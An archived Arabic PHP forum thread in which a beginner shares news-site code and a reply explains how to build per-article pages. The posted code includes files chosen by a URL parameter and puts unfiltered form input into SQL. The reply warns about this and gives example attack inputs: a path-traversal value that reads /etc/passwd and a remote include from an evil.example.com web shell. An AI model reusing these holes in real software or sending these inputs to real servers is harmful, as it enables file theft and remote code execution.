الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

اسفتسار عن كيفية اظهار كل موضوع ببرمجة php في صفحة مستقلة وعمل ارتباط لعنوان الموضوع مع الموضوع

بدأه **B@sel** في 9 ديسمبر 2010 · 2 رد · 623 مشاهدة · في منتدى تطوير المواقع بـ PHP
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

انا ابرمج بموقع بلغة php وانا حديث التعلم في هذه اللغة

استفساري اليوم

انا عملت لوحة تحكم للموقع ومن احدى الخصائص بها اضافة الاخبار

عند اضافة خبر اظهرت بالرئيسية عنوان الموضوع ووصف الموضوع

وفي صفحة الاخبار اظهرت الموضوع كامل

السؤال الان

1- كيف بقدر اظهر كل موضوع بصفحة مستقلة،، ليس كما فعلت انا جميع المواضيع تظهر بصفحة الاخبار

2- كيف بقدر اعمل ارتباط على عنوان الموضوع بالصفحة الرئيسية بحيث لما اكبس عليه ينقلني على الموضوع كامل بصفحة الاخبار

3- كيف بقدر اضيف صورة جانبية لكل خبر من لوحة الادارة

هذه محتويات الموقع التي قمت بعملها الى الان

ملف progect وهو ملف المشروع

يحوي على

index.php


$id=$_GET['id'];
if(empty($id))
include("main.php");
else
{
$id=$id."."."php";
include("$id");
}
?>
 <?php

1.php


$id=$_GET['id'];
include("db.php");
$xx=mysql_query("select id,ntitle,ndes,ntext,ndate from news");
while($x=mysql_fetch_row($xx))
{
echo $x[1];
echo "<br>";
echo $x[3];
echo "<hr>";

}
?>
<?php

main.php


include("db.php");
$xx=mysql_query("select id,ntitle,ndes,ntext,ndate from news");
while($x=mysql_fetch_row($xx))
{
echo $x[1];
echo "<br>";
echo $x[2];
echo "<hr>";
}
?>
<?php

ويحوي مجلد المشروع على مجلد admin

يحوي مجلد admin على

insertnews.php

طبعا هذا الملف لادخال البيانات لقاعدة البيانات


echo '<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">';
$id=$_POST["id"];
$ntitle=$_POST["ntitle"];
$ndes=$_POST["ndes"];
$ntext=$_POST["ntext"];
$ndate=$_POST["ndate"];


include("db.php");
mysql_query("insert into news values('$id','$ntitle','$ndes','$ntext','$ndate')");

?>
<?php

وهذا الاندكس لاضافة الخبر


<html xmlns="http://www.w3.org/1999/xhtml" dir="rtl">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>اضافة خبر</title>
</head>

<body>
<form method="post" action="insertnews.php">
عنوان الخبر:<br><input name="ntitle" type="text" /><br>
وصف الخبر:<br><textarea name="ndes" rows="3"></textarea>
<br>
الخبر:<br><textarea name="ntext" rows="5"></textarea>
<br>
<input type="submit" value="احفظ">

</form>
<table border="1">
<tr>
<td>الرقم</td>
<td>العنوان</td>
<td>الوصف</td>
<td>نص الخبر</td>
<td>تاريخ النشر</td>
</tr>
<?php
include("db.php");
$xx=mysql_query("select id,ntitle,ndes,ntext,ndate from news");
while($x=mysql_fetch_row($xx))
{
echo "<tr>";
echo "<td>$x[0]</td>";
echo "<td>$x[1]</td>";
echo "<td>$x[2]</td>";
echo "<td>$x[3]</td>";
echo "<td>$x[4]</td>";
echo "<td>";
echo "<a href='deletenews?id=$x[0]'>";
echo "delete";
echo "</a>";
echo "</td>";

echo "<td>";
echo "<a href='updatenews?id=$x[0]'>";
echo "Update";
echo "</a>";
echo "</td>";

echo "</tr>";
}
?>
</table>



</body>

</html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

بانتظار الشرح والتوضيح

لا اريد ان يقوم احد بتعديل واضافة المطلوب لي الى العمل

بل شرح الاستفسارت الثلاث وكيفية اضافتها الى المشروع

ولكم جزيل الشكر والامتنان

تحياااااااااااتي

#2

بالنسبة للاستفسارين الأول والثاني اللذين يظهران أنهما في الهدف نفسه.. قم بإظهار عناوين الأخبار في الصفحة الرئيسية ضمن وسوم <a> كروابط تشعبية..

جميع الروابط تشير إلى صفحة، مثلاً: displaynews.php?id=1234

حيث 1234 هو ID الخبر.

قم بكتابة صفحة displaynews.php بحيث يتم من خلالها استقبال قيمة المتحول $_GET['id'] وبناء عليه يتم تنفيذ استعلام على قاعدة البيانات يقوم بجلب محتوى الخبر المناسب وعرضه ضمن الصفحة بالشكل الذي تقوم بتصميمها عليه.

هذا كل ما في الأمر.

ملاحظات أخرى للإفادة:

1- لا تنسى فلترة البيانات التي يتم تمريرها عبر الوسائط $_GET و $_POST وأي شئ آخر يأتيك من قبل المستخدم والذي قد يمكن له التلاعب به (بيانات كوكيز مثلاً؟)

2- لا تستخدم الشكل

$id=$_GET['id'];
$id=$id."."."php";
include("$id");

هذه ثغرة RFI

قد يقوم المهاجم بتمرير القيمة

../../../../../../../../etc/passwd%00

والتي ستسمح له بقراءة محتوى ملف passwd

أو يقوم بتمرير القيمة

http://evil.example.com/webshell.txt?

وهذا سيسمح له بتضمين كود خارجي من خلال سيرفره (ما يطلق عليه اسم shellcode عموماً) ليتم تنفيذه على سيرفرك.

من أمثلة shellcodes:

r57, c99, ...

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#3

لمزيد لما شرحه لك الأخ Xacker يوجد في الملف المرفق تفصيل هذه الطريقة طريقة displaynews.php?id=1234 باللغة الإنكليزية بالتفصيل الممل .

وأي سؤال عن هذه المقالة أنا جاهز و بالنسبة لإضافة الصورة لكل مقال فيكفي أن تضيف للجدول table الموجود في قاعدة بياناتك المخصص للأخبار حقل لرابط صورة الخبر و تقوم بتحميلها من لوحة تحكم الموقع و عرضها في صفحة index .

CMS artical add tutorial.pdf

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…